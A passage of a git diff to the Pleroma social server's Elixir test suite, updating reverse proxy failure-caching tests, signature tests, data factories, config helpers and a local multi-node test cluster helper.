--- a/test/reverse_proxy_test.exs
+++ b/test/reverse_proxy_test.exs
@@ -42,6 +42,18 @@ defmodule Pleroma.ReverseProxyTest do
end)
end
+ describe "reverse proxy" do
+ test "do not track successful request", %{conn: conn} do
+ user_agent_mock("hackney/1.15.1", 2)
+ url = "/success"
+
+ conn = ReverseProxy.call(conn, url)
+
+ assert conn.status == 200
+ assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, nil}
+ end
+ end
+
describe "user-agent" do
test "don't keep", %{conn: conn} do
user_agent_mock("hackney/1.15.1", 2)
@@ -71,9 +83,15 @@ defmodule Pleroma.ReverseProxyTest do
user_agent_mock("hackney/1.15.1", 0)
assert capture_log(fn ->
- ReverseProxy.call(conn, "/user-agent", max_body_length: 4)
+ ReverseProxy.call(conn, "/huge-file", max_body_length: 4)
end) =~
- "[error] Elixir.Pleroma.ReverseProxy: request to \"/user-agent\" failed: :body_too_large"
+ "[error] Elixir.Pleroma.ReverseProxy: request to \"/huge-file\" failed: :body_too_large"
+
+ assert {:ok, true} == Cachex.get(:failed_proxy_url_cache, "/huge-file")
+
+ assert capture_log(fn ->
+ ReverseProxy.call(conn, "/huge-file", max_body_length: 4)
+ end) == ""
end
defp stream_mock(invokes, with_close? \\ false) do
@@ -108,11 +126,11 @@ defmodule Pleroma.ReverseProxyTest do
end
end
- test "max_body_size returns error if streaming body more than that option", %{conn: conn} do
+ test "max_body_length returns error if streaming body more than that option", %{conn: conn} do
stream_mock(3, true)
assert capture_log(fn ->
- ReverseProxy.call(conn, "/stream-bytes/50", max_body_size: 30)
+ ReverseProxy.call(conn, "/stream-bytes/50", max_body_length: 30)
end) =~
"[warn] Elixir.Pleroma.ReverseProxy request to /stream-bytes/50 failed while reading/chunking: :body_too_large"
end
@@ -140,28 +158,54 @@ defmodule Pleroma.ReverseProxyTest do
describe "returns error on" do
test "500", %{conn: conn} do
error_mock(500)
+ url = "/status/500"
- capture_log(fn -> ReverseProxy.call(conn, "/status/500") end) =~
+ capture_log(fn -> ReverseProxy.call(conn, url) end) =~
"[error] Elixir.Pleroma.ReverseProxy: request to /status/500 failed with HTTP status 500"
+
+ assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true}
+
+ {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url)
+ assert ttl <= 60_000
end
test "400", %{conn: conn} do
error_mock(400)
+ url = "/status/400"
- capture_log(fn -> ReverseProxy.call(conn, "/status/400") end) =~
+ capture_log(fn -> ReverseProxy.call(conn, url) end) =~
"[error] Elixir.Pleroma.ReverseProxy: request to /status/400 failed with HTTP status 400"
+
+ assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true}
+ assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil}
+ end
+
+ test "403", %{conn: conn} do
+ error_mock(403)
+ url = "/status/403"
+
+ capture_log(fn ->
+ ReverseProxy.call(conn, url, failed_request_ttl: :timer.seconds(120))
+ end) =~
+ "[error] Elixir.Pleroma.ReverseProxy: request to /status/403 failed with HTTP status 403"
+
+ {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url)
+ assert ttl > 100_000
end
test "204", %{conn: conn} do
- ClientMock
- |> expect(:request, fn :get, "/status/204", _, _, _ -> {:ok, 204, [], %{}} end)
+ url = "/status/204"
+ expect(ClientMock, :request, fn :get, _url, _, _, _ -> {:ok, 204, [], %{}} end)
capture_log(fn ->
- conn = ReverseProxy.call(conn, "/status/204")
+ conn = ReverseProxy.call(conn, url)
assert conn.resp_body == "Request failed: No Content"
assert conn.halted
end) =~
"[error] Elixir.Pleroma.ReverseProxy: request to \"/status/204\" failed with HTTP status 204"
+
+ assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true}
+ assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil}
end
end
diff --git a/test/runtime_test.exs b/test/runtime_test.exs
new file mode 100644
index 000000000..f7b6f23d4
--- /dev/null
+++ b/test/runtime_test.exs
@@ -0,0 +1,11 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.RuntimeTest do
+ use ExUnit.Case, async: true
+
+ test "it loads custom runtime modules" do
+ assert Code.ensure_compiled?(RuntimeModule)
+ end
+end
diff --git a/test/safe_jsonb_set_test.exs b/test/safe_jsonb_set_test.exs
new file mode 100644
index 000000000..748540570
--- /dev/null
+++ b/test/safe_jsonb_set_test.exs
@@ -0,0 +1,12 @@
+defmodule Pleroma.SafeJsonbSetTest do
+ use Pleroma.DataCase
+
+ test "it doesn't wipe the object when asked to set the value to NULL" do
+ assert %{rows: [[%{"key" => "value", "test" => nil}]]} =
+ Ecto.Adapters.SQL.query!(
+ Pleroma.Repo,
+ "select safe_jsonb_set('{\"key\": \"value\"}'::jsonb, '{test}', NULL);",
+ []
+ )
+ end
+end
diff --git a/test/scheduled_activity_test.exs b/test/scheduled_activity_test.exs
index edc7cc3f9..dcf12fb49 100644
--- a/test/scheduled_activity_test.exs
+++ b/test/scheduled_activity_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ScheduledActivityTest do
diff --git a/test/signature_test.exs b/test/signature_test.exs
index 7400cae9a..15cf10fb6 100644
--- a/test/signature_test.exs
+++ b/test/signature_test.exs
@@ -8,6 +8,7 @@ defmodule Pleroma.SignatureTest do
import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
+ import Mock
alias Pleroma.Signature
@@ -41,23 +42,21 @@ defmodule Pleroma.SignatureTest do
test "it returns key" do
expected_result = {:ok, @rsa_public_key}
- user = insert(:user, %{info: %{source_data: %{"publicKey" => @public_key}}})
+ user = insert(:user, source_data: %{"publicKey" => @public_key})
assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == expected_result
end
test "it returns error when not found user" do
assert capture_log(fn ->
- assert Signature.fetch_public_key(make_fake_conn("test-ap_id")) ==
- {:error, :error}
+ assert Signature.fetch_public_key(make_fake_conn("test-ap_id")) == {:error, :error}
end) =~ "[error] Could not decode user"
end
test "it returns error if public key is empty" do
- user = insert(:user, %{info: %{source_data: %{"publicKey" => %{}}}})
+ user = insert(:user, source_data: %{"publicKey" => %{}})
- assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) ==
- {:error, :error}
+ assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == {:error, :error}
end
end
@@ -65,14 +64,12 @@ defmodule Pleroma.SignatureTest do
test "it returns key" do
ap_id = "https://mastodon.social/users/lambadalambda"
- assert Signature.refetch_public_key(make_fake_conn(ap_id)) ==
- {:ok, @rsa_public_key}
+ assert Signature.refetch_public_key(make_fake_conn(ap_id)) == {:ok, @rsa_public_key}
end
test "it returns error when not found user" do
assert capture_log(fn ->
- assert Signature.refetch_public_key(make_fake_conn("test-ap_id")) ==
- {:error, {:error, :ok}}
+ {:error, _} = Signature.refetch_public_key(make_fake_conn("test-ap_id"))
end) =~ "[error] Could not decode user"
end
end
@@ -82,7 +79,7 @@ defmodule Pleroma.SignatureTest do
user =
insert(:user, %{
ap_id: "https://mastodon.social/users/lambadalambda",
- info: %{keys: @private_key}
+ keys: @private_key
})
assert Signature.sign(
@@ -96,8 +93,7 @@ defmodule Pleroma.SignatureTest do
end
test "it returns error" do
- user =
- insert(:user, %{ap_id: "https://mastodon.social/users/lambadalambda", info: %{keys: ""}})
+ user = insert(:user, %{ap_id: "https://mastodon.social/users/lambadalambda", keys: ""})
assert Signature.sign(
user,
@@ -105,4 +101,29 @@ defmodule Pleroma.SignatureTest do
) == {:error, []}
end
end
+
+ describe "key_id_to_actor_id/1" do
+ test "it properly deduces the actor id for misskey" do
+ assert Signature.key_id_to_actor_id("https://example.com/users/1234/publickey") ==
+ "https://example.com/users/1234"
+ end
+
+ test "it properly deduces the actor id for mastodon and pleroma" do
+ assert Signature.key_id_to_actor_id("https://example.com/users/1234#main-key") ==
+ "https://example.com/users/1234"
+ end
+ end
+
+ describe "signed_date" do
+ test "it returns formatted current date" do
+ with_mock(NaiveDateTime, utc_now: fn -> ~N[2019-08-23 18:11:24.822233] end) do
+ assert Signature.signed_date() == "Fri, 23 Aug 2019 18:11:24 GMT"
+ end
+ end
+
+ test "it returns formatted date" do
+ assert Signature.signed_date(~N[2019-08-23 08:11:24.822233]) ==
+ "Fri, 23 Aug 2019 08:11:24 GMT"
+ end
+ end
end
diff --git a/test/support/builders/user_builder.ex b/test/support/builders/user_builder.ex
index f58e1b0ad..fcfea666f 100644
--- a/test/support/builders/user_builder.ex
+++ b/test/support/builders/user_builder.ex
@@ -9,7 +9,9 @@ defmodule Pleroma.Builders.UserBuilder do
nickname: "testname",
password_hash: Comeonin.Pbkdf2.hashpwsalt("test"),
bio: "A tester.",
- ap_id: "some id"
+ ap_id: "some id",
+ last_digest_emailed_at: NaiveDateTime.truncate(NaiveDateTime.utc_now(), :second),
+ notification_settings: %Pleroma.User.NotificationSetting{}
}
Map.merge(user, data)
diff --git a/test/support/captcha_mock.ex b/test/support/captcha_mock.ex
index ef4e68bc5..65ca6b3bd 100644
--- a/test/support/captcha_mock.ex
+++ b/test/support/captcha_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Captcha.Mock do
diff --git a/test/support/channel_case.ex b/test/support/channel_case.ex
index 466d8986f..4a4585844 100644
--- a/test/support/channel_case.ex
+++ b/test/support/channel_case.ex
@@ -23,6 +23,7 @@ defmodule Pleroma.Web.ChannelCase do
quote do
# Import conveniences for testing with channels
use Phoenix.ChannelTest
+ use Pleroma.Tests.Helpers
# The default endpoint for testing
@endpoint Pleroma.Web.Endpoint
diff --git a/test/support/cluster.ex b/test/support/cluster.ex
new file mode 100644
index 000000000..deb37f361
--- /dev/null
+++ b/test/support/cluster.ex
@@ -0,0 +1,218 @@
+defmodule Pleroma.Cluster do
+ @moduledoc """
+ Facilities for managing a cluster of slave VM's for federated testing.
+
+ ## Spawning the federated cluster
+
+ `spawn_cluster/1` spawns a map of slave nodes that are started
+ within the running VM. During startup, the slave node is sent all configuration
+ from the parent node, as well as all code. After receiving configuration and
+ code, the slave then starts all applications currently running on the parent.
+ The configuration passed to `spawn_cluster/1` overrides any parent application
+ configuration for the provided OTP app and key. This is useful for customizing
+ the Ecto database, Phoenix webserver ports, etc.
+
+ For example, to start a single federated VM named ":federated1", with the
+ Pleroma Endpoint running on port 4123, and with a database named
+ "pleroma_test1", you would run:
+
+ endpoint_conf = Application.fetch_env!(:pleroma, Pleroma.Web.Endpoint)
+ repo_conf = Application.fetch_env!(:pleroma, Pleroma.Repo)
+
+ Pleroma.Cluster.spawn_cluster(%{
+ :"federated1@127.0.0.1" => [
+ {:pleroma, Pleroma.Repo, Keyword.merge(repo_conf, database: "pleroma_test1")},
+ {:pleroma, Pleroma.Web.Endpoint,
+ Keyword.merge(endpoint_conf, http: [port: 4011], url: [port: 4011], server: true)}
+ ]
+ })
+
+ *Note*: application configuration for a given key is not merged,
+ so any customization requires first fetching the existing values
+ and merging yourself by providing the merged configuration,
+ such as above with the endpoint config and repo config.
+
+ ## Executing code within a remote node
+
+ Use the `within/2` macro to execute code within the context of a remote
+ federated node. The code block captures all local variable bindings from
+ the parent's context and returns the result of the expression after executing
+ it on the remote node. For example:
+
+ import Pleroma.Cluster
+
+ parent_value = 123
+
+ result =
+ within :"federated1@127.0.0.1" do
+ {node(), parent_value}
+ end
+
+ assert result == {:"federated1@127.0.0.1, 123}
+
+ *Note*: while local bindings are captured and available within the block,
+ other parent contexts like required, aliased, or imported modules are not
+ in scope. Those will need to be reimported/aliases/required within the block
+ as `within/2` is a remote procedure call.
+ """
+
+ @extra_apps Pleroma.Mixfile.application()[:extra_applications]
+
+ @doc """
+ Spawns the default Pleroma federated cluster.
+
+ Values before may be customized as needed for the test suite.
+ """
+ def spawn_default_cluster do
+ endpoint_conf = Application.fetch_env!(:pleroma, Pleroma.Web.Endpoint)
+ repo_conf = Application.fetch_env!(:pleroma, Pleroma.Repo)
+
+ spawn_cluster(%{
+ :"federated1@127.0.0.1" => [
+ {:pleroma, Pleroma.Repo, Keyword.merge(repo_conf, database: "pleroma_test_federated1")},
+ {:pleroma, Pleroma.Web.Endpoint,
+ Keyword.merge(endpoint_conf, http: [port: 4011], url: [port: 4011], server: true)}
+ ],
+ :"federated2@127.0.0.1" => [
+ {:pleroma, Pleroma.Repo, Keyword.merge(repo_conf, database: "pleroma_test_federated2")},
+ {:pleroma, Pleroma.Web.Endpoint,
+ Keyword.merge(endpoint_conf, http: [port: 4012], url: [port: 4012], server: true)}
+ ]
+ })
+ end
+
+ @doc """
+ Spawns a configured map of federated nodes.
+
+ See `Pleroma.Cluster` module documentation for details.
+ """
+ def spawn_cluster(node_configs) do
+ # Turn node into a distributed node with the given long name
+ :net_kernel.start([:"primary@127.0.0.1"])
+
+ # Allow spawned nodes to fetch all code from this node
+ {:ok, _} = :erl_boot_server.start([])
+ allow_boot("127.0.0.1")
+
+ silence_logger_warnings(fn ->
+ node_configs
+ |> Enum.map(&Task.async(fn -> start_slave(&1) end))
+ |> Enum.map(&Task.await(&1, 60_000))
+ end)
+ end
+
+ @doc """
+ Executes block of code again remote node.
+
+ See `Pleroma.Cluster` module documentation for details.
+ """
+ defmacro within(node, do: block) do
+ quote do
+ rpc(unquote(node), unquote(__MODULE__), :eval_quoted, [
+ unquote(Macro.escape(block)),
+ binding()
+ ])
+ end
+ end
+
+ @doc false
+ def eval_quoted(block, binding) do
+ {result, _binding} = Code.eval_quoted(block, binding, __ENV__)
+ result
+ end
+
+ defp start_slave({node_host, override_configs}) do
+ log(node_host, "booting federated VM")
+ {:ok, node} = :slave.start(~c"127.0.0.1", node_name(node_host), vm_args())
+ add_code_paths(node)
+ load_apps_and_transfer_configuration(node, override_configs)
+ ensure_apps_started(node)
+ {:ok, node}
+ end
+
+ def rpc(node, module, function, args) do
+ :rpc.block_call(node, module, function, args)
+ end
+
+ defp vm_args do
+ ~c"-loader inet -hosts 127.0.0.1 -setcookie #{:erlang.get_cookie()}"
+ end
+
+ defp allow_boot(host) do
+ {:ok, ipv4} = :inet.parse_ipv4_address(~c"#{host}")
+ :ok = :erl_boot_server.add_slave(ipv4)
+ end
+
+ defp add_code_paths(node) do
+ rpc(node, :code, :add_paths, [:code.get_path()])
+ end
+
+ defp load_apps_and_transfer_configuration(node, override_configs) do
+ Enum.each(Application.loaded_applications(), fn {app_name, _, _} ->
+ app_name
+ |> Application.get_all_env()
+ |> Enum.each(fn {key, primary_config} ->
+ rpc(node, Application, :put_env, [app_name, key, primary_config, [persistent: true]])
+ end)
+ end)
+
+ Enum.each(override_configs, fn {app_name, key, val} ->
+ rpc(node, Application, :put_env, [app_name, key, val, [persistent: true]])
+ end)
+ end
+
+ defp log(node, msg), do: IO.puts("[#{node}] #{msg}")
+
+ defp ensure_apps_started(node) do
+ loaded_names = Enum.map(Application.loaded_applications(), fn {name, _, _} -> name end)
+ app_names = @extra_apps ++ (loaded_names -- @extra_apps)
+
+ rpc(node, Application, :ensure_all_started, [:mix])
+ rpc(node, Mix, :env, [Mix.env()])
+ rpc(node, __MODULE__, :prepare_database, [])
+
+ log(node, "starting application")
+
+ Enum.reduce(app_names, MapSet.new(), fn app, loaded ->
+ if Enum.member?(loaded, app) do
+ loaded
+ else
+ {:ok, started} = rpc(node, Application, :ensure_all_started, [app])
+ MapSet.union(loaded, MapSet.new(started))
+ end
+ end)
+ end
+
+ @doc false
+ def prepare_database do
+ log(node(), "preparing database")
+ repo_config = Application.get_env(:pleroma, Pleroma.Repo)
+ repo_config[:adapter].storage_down(repo_config)
+ repo_config[:adapter].storage_up(repo_config)
+
+ {:ok, _, _} =
+ Ecto.Migrator.with_repo(Pleroma.Repo, fn repo ->
+ Ecto.Migrator.run(repo, :up, log: false, all: true)
+ end)
+
+ Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)
+ {:ok, _} = Application.ensure_all_started(:ex_machina)
+ end
+
+ defp silence_logger_warnings(func) do
+ prev_level = Logger.level()
+ Logger.configure(level: :error)
+ res = func.()
+ Logger.configure(level: prev_level)
+
+ res
+ end
+
+ defp node_name(node_host) do
+ node_host
+ |> to_string()
+ |> String.split("@")
+ |> Enum.at(0)
+ |> String.to_atom()
+ end
+end
diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex
index ec5892ff5..22e72fc09 100644
--- a/test/support/conn_case.ex
+++ b/test/support/conn_case.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ConnCase do
@@ -28,6 +28,26 @@ defmodule Pleroma.Web.ConnCase do
# The default endpoint for testing
@endpoint Pleroma.Web.Endpoint
+
+ # Sets up OAuth access with specified scopes
+ defp oauth_access(scopes, opts \\ []) do
+ user =
+ Keyword.get_lazy(opts, :user, fn ->
+ Pleroma.Factory.insert(:user)
+ end)
+
+ token =
+ Keyword.get_lazy(opts, :oauth_token, fn ->
+ Pleroma.Factory.insert(:oauth_token, user: user, scopes: scopes)
+ end)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> assign(:token, token)
+
+ %{user: user, token: token, conn: conn}
+ end
end
end
@@ -40,6 +60,10 @@ defmodule Pleroma.Web.ConnCase do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
+ if tags[:needs_streamer] do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ end
+
{:ok, conn: Phoenix.ConnTest.build_conn()}
end
end
diff --git a/test/support/data_case.ex b/test/support/data_case.ex
index f3d98e7e3..4ffcbac9e 100644
--- a/test/support/data_case.ex
+++ b/test/support/data_case.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.DataCase do
@@ -39,6 +39,10 @@ defmodule Pleroma.DataCase do
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
end
+ if tags[:needs_streamer] do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ end
+
:ok
end
diff --git a/test/support/factory.ex b/test/support/factory.ex
index 531eb81e4..780235cb9 100644
--- a/test/support/factory.ex
+++ b/test/support/factory.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Factory do
@@ -31,15 +31,27 @@ defmodule Pleroma.Factory do
nickname: sequence(:nickname, &"nick#{&1}"),
password_hash: Comeonin.Pbkdf2.hashpwsalt("test"),
bio: sequence(:bio, &"Tester Number #{&1}"),
- info: %{}
+ last_digest_emailed_at: NaiveDateTime.utc_now(),
+ notification_settings: %Pleroma.User.NotificationSetting{}
}
%{
user
| ap_id: User.ap_id(user),
follower_address: User.ap_followers(user),
- following_address: User.ap_following(user),
- following: [User.ap_id(user)]
+ following_address: User.ap_following(user)
+ }
+ end
+
+ def user_relationship_factory(attrs \\ %{}) do
+ source = attrs[:source] || insert(:user)
+ target = attrs[:target] || insert(:user)
+ relationship_type = attrs[:relationship_type] || :block
+
+ %Pleroma.UserRelationship{
+ source_id: source.id,
+ target_id: target.id,
+ relationship_type: relationship_type
}
end
@@ -70,6 +82,47 @@ defmodule Pleroma.Factory do
}
end
+ def audio_factory(attrs \\ %{}) do
+ text = sequence(:text, &"lain radio episode #{&1}")
+
+ user = attrs[:user] || insert(:user)
+
+ data = %{
+ "type" => "Audio",
+ "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(),
+ "artist" => "lain",
+ "title" => text,
+ "album" => "lain radio",
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "published" => DateTime.utc_now() |> DateTime.to_iso8601(),
+ "actor" => user.ap_id,
+ "length" => 180_000
+ }
+
+ %Pleroma.Object{
+ data: merge_attributes(data, Map.get(attrs, :data, %{}))
+ }
+ end
+
+ def listen_factory do
+ audio = insert(:audio)
+
+ data = %{
+ "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
+ "type" => "Listen",
+ "actor" => audio.data["actor"],
+ "to" => audio.data["to"],
+ "object" => audio.data,
+ "published" => audio.data["published"]
+ }
+
+ %Pleroma.Activity{
+ data: data,
+ actor: data["actor"],
+ recipients: data["to"]
+ }
+ end
+
def direct_note_factory do
user2 = insert(:user)
@@ -118,17 +171,21 @@ defmodule Pleroma.Factory do
def note_activity_factory(attrs \\ %{}) do
user = attrs[:user] || insert(:user)
note = attrs[:note] || insert(:note, user: user)
- attrs = Map.drop(attrs, [:user, :note])
- data = %{
- "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
- "type" => "Create",
- "actor" => note.data["actor"],
- "to" => note.data["to"],
- "object" => note.data["id"],
- "published" => DateTime.utc_now() |> DateTime.to_iso8601(),
- "context" => note.data["context"]
- }
+ data_attrs = attrs[:data_attrs] || %{}
+ attrs = Map.drop(attrs, [:user, :note, :data_attrs])
+
+ data =
+ %{
+ "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
+ "type" => "Create",
+ "actor" => note.data["actor"],
+ "to" => note.data["to"],
+ "object" => note.data["id"],
+ "published" => DateTime.utc_now() |> DateTime.to_iso8601(),
+ "context" => note.data["context"]
+ }
+ |> Map.merge(data_attrs)
%Pleroma.Activity{
data: data,
@@ -138,6 +195,25 @@ defmodule Pleroma.Factory do
|> Map.merge(attrs)
end
+ defp expiration_offset_by_minutes(attrs, minutes) do
+ scheduled_at =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.minutes(minutes), :millisecond)
+ |> NaiveDateTime.truncate(:second)
+
+ %Pleroma.ActivityExpiration{}
+ |> Map.merge(attrs)
+ |> Map.put(:scheduled_at, scheduled_at)
+ end
+
+ def expiration_in_the_past_factory(attrs \\ %{}) do
+ expiration_offset_by_minutes(attrs, -60)
+ end
+
+ def expiration_in_the_future_factory(attrs \\ %{}) do
+ expiration_offset_by_minutes(attrs, 61)
+ end
+
def article_activity_factory do
article = insert(:article)
@@ -178,18 +254,20 @@ defmodule Pleroma.Factory do
}
end
- def like_activity_factory do
- note_activity = insert(:note_activity)
+ def like_activity_factory(attrs \\ %{}) do
+ note_activity = attrs[:note_activity] || insert(:note_activity)
object = Object.normalize(note_activity)
user = insert(:user)
- data = %{
- "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
- "actor" => user.ap_id,
- "type" => "Like",
- "object" => object.data["id"],
- "published_at" => DateTime.utc_now() |> DateTime.to_iso8601()
- }
+ data =
+ %{
+ "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(),
+ "actor" => user.ap_id,
+ "type" => "Like",
+ "object" => object.data["id"],
+ "published_at" => DateTime.utc_now() |> DateTime.to_iso8601()
+ }
+ |> Map.merge(attrs[:data_attrs] || %{})
%Pleroma.Activity{
data: data
@@ -214,31 +292,11 @@ defmodule Pleroma.Factory do
}
end
- def websub_subscription_factory do
- %Pleroma.Web.Websub.WebsubServerSubscription{
- topic: "http://example.org",
- callback: "http://example.org/callback",
- secret: "here's a secret",
- valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), 100),
- state: "requested"
- }
- end
-
- def websub_client_subscription_factory do
- %Pleroma.Web.Websub.WebsubClientSubscription{
- topic: "http://example.org",
- secret: "here's a secret",
- valid_until: nil,
- state: "requested",
- subscribers: []
- }
- end
-
def oauth_app_factory do
%Pleroma.Web.OAuth.App{
client_name: "Some client",
redirect_uris: "https://example.com/callback",
- scopes: ["read", "write", "follow", "push"],
+ scopes: ["read", "write", "follow", "push", "admin"],
website: "https://example.com",
client_id: Ecto.UUID.generate(),
client_secret: "aaa;/&bbb"
@@ -252,18 +310,37 @@ defmodule Pleroma.Factory do
}
end
- def oauth_token_factory do
- oauth_app = insert(:oauth_app)
+ def oauth_token_factory(attrs \\ %{}) do
+ scopes = Map.get(attrs, :scopes, ["read"])
+ oauth_app = Map.get_lazy(attrs, :app, fn -> insert(:oauth_app, scopes: scopes) end)
+ user = Map.get_lazy(attrs, :user, fn -> build(:user) end)
+
+ valid_until =
+ Map.get(attrs, :valid_until, NaiveDateTime.add(NaiveDateTime.utc_now(), 60 * 10))
%Pleroma.Web.OAuth.Token{
token: :crypto.strong_rand_bytes(32) |> Base.url_encode64(),
refresh_token: :crypto.strong_rand_bytes(32) |> Base.url_encode64(),
- user: build(:user),
- app_id: oauth_app.id,
- valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), 60 * 10)
+ scopes: scopes,
+ user: user,
+ app: oauth_app,
+ valid_until: valid_until
}
end
+ def oauth_admin_token_factory(attrs \\ %{}) do
+ user = Map.get_lazy(attrs, :user, fn -> build(:user, is_admin: true) end)
+
+ scopes =
+ attrs
+ |> Map.get(:scopes, ["admin"])
+ |> Kernel.++(["admin"])
+ |> Enum.uniq()
+
+ attrs = Map.merge(attrs, %{user: user, scopes: scopes})
+ oauth_token_factory(attrs)
+ end
+
def oauth_authorization_factory do
%Pleroma.Web.OAuth.Authorization{
token: :crypto.strong_rand_bytes(32) |> Base.url_encode64(padding: false),
@@ -317,9 +394,15 @@ defmodule Pleroma.Factory do
end
def config_factory do
- %Pleroma.Web.AdminAPI.Config{
- key: sequence(:key, &"some_key_#{&1}"),
- group: "pleroma",
+ %Pleroma.ConfigDB{
+ key:
+ sequence(:key, fn key ->
+ # Atom dynamic registration hack in tests
+ "some_key_#{key}"
+ |> String.to_atom()
+ |> inspect()
+ end),
+ group: ":pleroma",
value:
sequence(
:value,
@@ -329,4 +412,13 @@ defmodule Pleroma.Factory do
)
}
end
+
+ def marker_factory do
+ %Pleroma.Marker{
+ user: build(:user),
+ timeline: "notifications",
+ lock_version: 0,
+ last_read_id: "1"
+ }
+ end
end
diff --git a/test/support/helpers.ex b/test/support/helpers.ex
index 1a92be065..9f817622d 100644
--- a/test/support/helpers.ex
+++ b/test/support/helpers.ex
@@ -1,14 +1,59 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Tests.Helpers do
@moduledoc """
Helpers for use in tests.
"""
+ alias Pleroma.Config
+
+ defmacro clear_config(config_path) do
+ quote do
+ clear_config(unquote(config_path)) do
+ end
+ end
+ end
+
+ defmacro clear_config(config_path, do: yield) do
+ quote do
+ setup do
+ initial_setting = Config.get(unquote(config_path))
+ unquote(yield)
+ on_exit(fn -> Config.put(unquote(config_path), initial_setting) end)
+ :ok
+ end
+ end
+ end
+
+ defmacro clear_config_all(config_path) do
+ quote do
+ clear_config_all(unquote(config_path)) do
+ end
+ end
+ end
+
+ defmacro clear_config_all(config_path, do: yield) do
+ quote do
+ setup_all do
+ initial_setting = Config.get(unquote(config_path))
+ unquote(yield)
+ on_exit(fn -> Config.put(unquote(config_path), initial_setting) end)
+ :ok
+ end
+ end
+ end
defmacro __using__(_opts) do
quote do
+ import Pleroma.Tests.Helpers,
+ only: [
+ clear_config: 1,
+ clear_config: 2,
+ clear_config_all: 1,
+ clear_config_all: 2
+ ]
+
def collect_ids(collection) do
collection
|> Enum.map(& &1.id)
@@ -30,6 +75,32 @@ defmodule Pleroma.Tests.Helpers do
|> Poison.encode!()
|> Poison.decode!()
end
+
+ def stringify_keys(nil), do: nil
+
+ def stringify_keys(key) when key in [true, false], do: key
+ def stringify_keys(key) when is_atom(key), do: Atom.to_string(key)
+
+ def stringify_keys(map) when is_map(map) do
+ map
+ |> Enum.map(fn {k, v} -> {stringify_keys(k), stringify_keys(v)} end)
+ |> Enum.into(%{})
+ end
+
+ def stringify_keys([head | rest] = list) when is_list(list) do
+ [stringify_keys(head) | stringify_keys(rest)]
+ end
+
+ def stringify_keys(key), do: key
+
+ defmacro guards_config(config_path) do
+ quote do
+ initial_setting = Config.get(config_path)
+
+ Config.put(config_path, true)
+ on_exit(fn -> Config.put(config_path, initial_setting) end)
+ end
+ end
end
end
end
diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex
index 7811f7807..f43de700d 100644
--- a/test/support/http_request_mock.ex
+++ b/test/support/http_request_mock.ex
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule HttpRequestMock do
@@ -17,9 +17,12 @@ defmodule HttpRequestMock do
with {:ok, res} <- apply(__MODULE__, method, [url, query, body, headers]) do
res
else
- {_, _r} = error ->
- # Logger.warn(r)
- error
+ error ->
+ with {:error, message} <- error do
+ Logger.warn(message)
+ end
+
+ {_, _r} = error
end
end
@@ -35,6 +38,14 @@ defmodule HttpRequestMock do
}}
end
+ def get("https://shitposter.club/users/moonman", _, _, _) do
+ {:ok,
